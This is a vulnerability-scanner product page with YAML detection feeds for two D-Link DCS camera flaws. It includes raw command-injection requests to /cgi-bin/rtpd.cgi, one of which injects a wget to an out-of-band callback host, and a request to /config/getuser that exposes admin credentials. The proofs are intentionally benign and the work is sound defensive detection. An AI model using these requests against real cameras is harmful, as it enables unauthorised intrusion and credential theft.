D-Link DCS — 2 vulnerability checks

noctis ships 2 vulnerability checks for D-Link DCS, covering 3 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

D-Link DCS IP Cameras rtpd.cgi Unauthenticated OS Command Injection

CVECVE-2013-1599
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, tcp_connect, match, wait_oob · highest QoD 97
Feedtests/vulnerabilities/dlink-dcs/CVE-2013-1599.yaml

Detects the unauthenticated OS command injection in /cgi-bin/rtpd.cgi of D-Link DCS IP cameras (CVE-2013-1599): the CGI passes its query string, with `&` turned into spaces, to the shell's eval. Confirmation is keyed on benign per-run proofs: a shell-evaluated arithmetic echo (NOCTIS<a+b>) in the reply, or an injected wget fetching a per-run OOB URL whose token only a shell can rebuild.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Raw TCP (TLS on HTTPS), sent verbatim: GET /cgi-bin/rtpd.cgi?echo&NOCTIS$(({{dcs.a}}+{{dcs.b}})) HTTP/1.0
  3. Checks resp.banner for NOCTIS[0-9]+ → finding QoD 97: D-Link DCS rtpd.cgi command injection confirmed: GET /cgi-bin/rtpd.cgi?echo&NOCTIS$((…+…)) — the shell's eval computed the per-run arithmet…
  4. Parses / computes the next value with a Rhai script
  5. Parses / computes the next value with a Rhai script
  6. Raw TCP (TLS on HTTPS), sent verbatim: GET /cgi-bin/rtpd.cgi?wget&-q&-O&/dev/null&http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}…
  7. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: D-Link DCS rtpd.cgi command injection confirmed: a wget injected into /cgi-bin/rtpd.cgi fetched the per-run OOB URL, whose token only a she…

References:

Feed source — tests/vulnerabilities/dlink-dcs/CVE-2013-1599.yaml
# D-Link DCS IP cameras — unauthenticated OS command injection in /cgi-bin/rtpd.cgi
# (CVE-2013-1599, CORE-2013-0303).
#
# Ported from OpenVAS/Greenbone NVT `2014/gb_multiple_dlink_59564.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.105104, GPL-2.0-only).
#
# The cameras' rtpd.cgi is a shell script that evaluates its query string:
#   echo "$QUERY_STRING" | grep -vq ' ' || die "query string cannot contain spaces."
#   . $conf > /dev/null 2> /dev/null
#   eval "$(echo $QUERY_STRING | sed -e 's/&/ /g')"
# so every `&` becomes a space and the result runs as a shell command line, with
# no authentication (DCS-1100/1130, 1100L/1130L, 2102/2121, 3410/3411/3430,
# 5230/5230L, 5605/5635, 6410, 7410, 7510, WCS-1100 — CORE advisory). The query
# string is never URL-decoded, so the payload is sent raw (no %-escapes).
#
# Detection — benign proofs only, nothing written, read or persisted:
#   1. In-band (QoD 97): `rtpd.cgi?echo&NOCTIS$((<a>+<b>))` (a, b = per-run random
#      6-digit ints). eval prints NOCTIS<a+b>; the sum never appears in the
#      request, so a page reflecting the query string (even through a filter that
#      strips `$`, `(`, `)`, `+`) cannot produce it.
#   2. Blind OOB (QoD 97, only when OOB is configured and rtpd.cgi is not a 404):
#      `wget -q -O /dev/null http://<oob>/<tok-a>$()<tok-b>`, with `&` for the
#      spaces. The token is split by an empty $() so only a shell rebuilds the
#      callback path; output goes to /dev/null.
#
# Beyond the NASL:
#   - The NASL runs `echo AdminPasswd_ss|tdb get HTTPAccount` and reports the
#     camera's admin password. This feed reads no secret: the arithmetic echo
#     proves the eval without disclosing anything, and leaves no password in the
#     finding.
#   - The NASL exits unless the banner says `Server: dcs-lig-httpd`; rebadged or
#     proxied cameras (other Server header, or none) are missed. This feed probes
#     the fixed CGI path directly — one request per port.
#   - The NASL needs the command output in the reply; the OOB branch also
#     confirms a build whose CGI output is swallowed.
uid: 40d1fe74-130f-4786-9b60-8fff1b815a0c
name: "D-Link DCS IP Cameras rtpd.cgi Unauthenticated OS Command Injection"
description: |
  Detects the unauthenticated OS command injection in /cgi-bin/rtpd.cgi of D-Link
  DCS IP cameras (CVE-2013-1599): the CGI passes its query string, with `&`
  turned into spaces, to the shell's eval. Confirmation is keyed on benign
  per-run proofs: a shell-evaluated arithmetic echo (NOCTIS<a+b>) in the reply,
  or an injected wget fetching a per-run OOB URL whose token only a shell can
  rebuild.
cves: [CVE-2013-1599]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: rce
tags: [dlink, dcs, camera, iot, command-injection, rce, oob, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2013-1599"
  - "https://seclists.org/bugtraq/2013/Apr/183"
  - "https://www.exploit-db.com/exploits/25138"
  - "OpenVAS/Greenbone NASL 2014/gb_multiple_dlink_59564.nasl (GPL-2.0-only)"

steps:
  # Per-run operands; marker = NOCTIS<a+b>.
  - id: gen-tokens
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      #{ a: a, b: b, marker: "NOCTIS" + (a + b) }
    store_as: dcs

  # Pre-initialised so a failed connection leaves no undefined variable behind.
  - id: init-resp
    action: set_var
    var_name: resp
    var_value: {connected: false, banner: null}

  # ── 1. In-band: eval "echo NOCTIS$((a+b))" ───────────────────────────────
  # Raw request line: rtpd.cgi reads QUERY_STRING undecoded, so `$((`, `+` and
  # `))` must reach it as-is (tcp_connect; http_request would normalise the URL).
  - id: inject-inband
    action: tcp_connect
    port: "{{port}}"
    send: "GET /cgi-bin/rtpd.cgi?echo&NOCTIS$(({{dcs.a}}+{{dcs.b}})) HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    store_as: resp

  - id: confirm-inband
    action: match
    source: resp.banner
    pattern: "NOCTIS[0-9]+"
    condition: "type_of(resp.banner) == \"string\" && stridx(resp.banner, dcs.marker) >= 0"
    on_match:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "D-Link DCS rtpd.cgi command injection confirmed: GET /cgi-bin/rtpd.cgi?echo&NOCTIS$(({{dcs.a}}+{{dcs.b}})) — the shell's eval computed the per-run arithmetic into {{dcs.marker}}"
      stop: true

  # ── 2. Blind OOB: wget a $()-split per-run URL ───────────────────────────
  # Only when rtpd.cgi answered and was not a 404: a plain web server gets one
  # request, not a second injection plus a 20 s callback wait.
  - id: rtpd-present
    action: script
    code: |
      type_of(resp.banner) == "string" && ereg("^HTTP/1\\.[01] ", resp.banner) && !ereg("^HTTP/1\\.[01] 404", resp.banner)
    store_as: rtpd_present

  - id: split-oob-token
    action: script
    condition: "oob_enabled && rtpd_present"
    code: |
      let n = strlen(oob_token);
      #{ a: substr(oob_token, 0, 7), b: substr(oob_token, 8, n - 1) }
    store_as: oobsplit

  - id: inject-oob
    action: tcp_connect
    port: "{{port}}"
    condition: "oob_enabled && rtpd_present"
    send: "GET /cgi-bin/rtpd.cgi?wget&-q&-O&/dev/null&http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}}$(){{oobsplit.b}} HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    store_as: oob_resp

  - id: wait-callback
    action: wait_oob
    oob_timeout_secs: 20
    condition: "oob_enabled && rtpd_present"
    store_as: oob_result
    on_success:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "D-Link DCS rtpd.cgi command injection confirmed: a wget injected into /cgi-bin/rtpd.cgi fetched the per-run OOB URL, whose token only a shell could rebuild from its $()-split form (HTTP callback received)"
      stop: true

D-Link DCS cameras admin password disclosure via /config/getuser

CVECVE-2020-25078, CVE-2020-25079
Severityhigh · CVSS 7.5
Categoryexposure — Exposure
Serviceshttp, https
Detectiontcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/dlink-dcs/CVE-2020-25078.yaml

Requests /config/getuser?index=0 without credentials and reports when the D-Link DCS camera returns the admin account's name and pass in clear text.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /config/getuser?index=0 HTTP/1.0
  2. Checks resp.banner for (?im)^HTTP/1\.[01] 200[\s\S]*^name=.+[\s\S]*^pass=.+ → finding QoD 75: D-Link DCS /config/getuser?index=0 returned the admin name= and pass= lines without authentication: …

References:

Feed source — tests/vulnerabilities/dlink-dcs/CVE-2020-25078.yaml
uid: 15d3c228-ca88-487a-a892-31c3e6383a93
name: "CVE-2020-25078 — D-Link DCS cameras admin password disclosure via /config/getuser (CVSS 7.5)"
description: "Requests /config/getuser?index=0 without credentials and reports when the D-Link DCS camera returns the admin account's name and pass in clear text."
cves: [CVE-2020-25078, CVE-2020-25079]
cvss: 7.5
severity: high
category: exposure
confidence_base: 0.3
tags: [dlink, dcs, camera, info-disclosure]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2020-25078"
  - "OpenVAS NASL 2020/dlink/gb_dcs_mult_vuln_jun20.nasl (GPL-2.0-only)"
# Ported from OpenVAS/Greenbone NASL 2020/dlink/gb_dcs_mult_vuln_jun20.nasl (GPL-2.0-only, Greenbone Community Feed).
# Faithful: request the exact NASL URL, then confirm BOTH the response status line and the
# plugin's confirming marker — a bare 200 with no marker does not fire (non-trivial negative).
steps:
  - id: probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET /config/getuser?index=0 HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    store_as: resp

  - id: detect
    action: match
    source: resp.banner
    pattern: '(?im)^HTTP/1\.[01] 200[\s\S]*^name=.+[\s\S]*^pass=.+'
    on_match:
      finding:
        confidence_delta: 0.5
        qod: 75
        evidence: "D-Link DCS /config/getuser?index=0 returned the admin name= and pass= lines without authentication: {{resp.banner}}"
      stop: true

View these feeds on GitHub